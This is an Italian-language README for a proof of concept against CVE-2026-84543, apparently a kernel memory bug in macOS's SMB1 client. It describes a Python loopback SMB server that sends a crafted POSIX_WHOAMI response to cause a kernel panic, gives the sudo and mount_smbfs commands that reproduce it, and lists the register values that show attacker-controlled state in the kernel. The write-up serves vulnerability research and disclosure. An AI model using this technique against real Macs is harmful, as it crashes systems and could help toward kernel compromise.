Proof of concept

Questa proof of concept dovrebbe causare un kernel panic e riavviare un Mac interessato.

Le build di test interessate utilizzate durante la ricerca erano macOS Tahoe 26.4 (25E246) e macOS 26.5 beta 4 (25F5068a). Apple ha corretto CVE-2026-84543 in macOS Golden Gate 27, Tahoe 26.7 e Sequoia 15.8.

PoC incluso

smb1_unix_whoami_poc.py è il server di acquisizione delle prove su loopback. Utilizza solo la libreria standard di Python e:

• legge _COMM_PAGE_ASB_TARGET_KERN_VALUE del boot corrente su Apple silicon;
• serve una condivisione SMB1 guest su loopback;
• restituisce una risposta SMB_QFS_POSIX_WHOAMI (0x0202) appositamente costruita per creare lo stato incoerente di conteggio/puntatore; e
• restituisce attributi UNIX_INFO2 (0x020B) contenenti valori canary riconoscibili per la provenienza dei registri al momento del panic.

Riproduzione

Nel terminale A:

cd poc
sudo python3 smb1_unix_whoami_poc.py \
  --bind 127.0.0.1 \
  --port 445 \
  --log /tmp/CVE-2026-84543-poc.log

Annotare il valore ASB_TARGET_KERN_VALUE stampato; viene randomizzato all'avvio.

Nel terminale B:

mkdir -p ~/mnt/cve-2026-84543
mount_smbfs //[email protected]/share ~/mnt/cve-2026-84543

Relazioni attese tra i registri

Con T uguale al canary del valore del kernel stampato all'avvio:

x8  = T
x9  = T
x10 = T & 0x1ff
x11 = T
x12 = T & 0x7fffffff
x13 = 0
x14 = (T & 0x7fffffff) - 1

I bit specifici in x8, x9 e x11 stabiliscono la provenienza. Le relazioni osservate forniscono un collegamento byte per byte tra i campi della risposta del server e lo stato dei registri del kernel in esecuzione.